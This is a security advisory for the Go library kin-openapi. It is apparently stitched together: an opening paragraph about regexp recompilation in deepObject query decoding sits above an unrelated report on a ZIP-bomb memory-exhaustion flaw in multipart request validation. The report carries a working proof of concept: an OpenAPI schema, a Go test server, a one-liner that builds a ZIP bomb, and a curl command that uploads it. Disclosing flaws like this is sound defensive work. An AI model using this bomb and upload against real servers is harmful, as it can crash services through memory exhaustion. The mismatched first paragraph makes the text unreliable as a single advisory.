kin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC To reproduce the vulnerability, you can use the following OpenAPI schema: yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function): go package main

import ( "fmt" "log" "net/http"

"github.com/getkin/kin-openapi/openapi3filter" legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

"github.com/getkin/kin-openapi/openapi3" )

func handler(w http.ResponseWriter, r http.Request) { loader := openapi3.NewLoader()

doc, err := loader.LoadFromFile("schema.yaml") if err != nil { http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError) return }

if err := doc.Validate(r.Context()); err != nil { http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest) return }

router, err := legacyrouter.NewRouter(doc) if err != nil { http.Error(w, "Failed to create router", http.StatusInternalServerError) return }

route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, "Failed to find route", http.StatusNotFound) return }

input := &openapi3filter.RequestValidationInput{ Request: r, QueryParams: r.URL.Query(), Route: route, PathParams: pathParams, }

if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil { http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest) return }

w.Write([]byte("request ok !")) }

func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)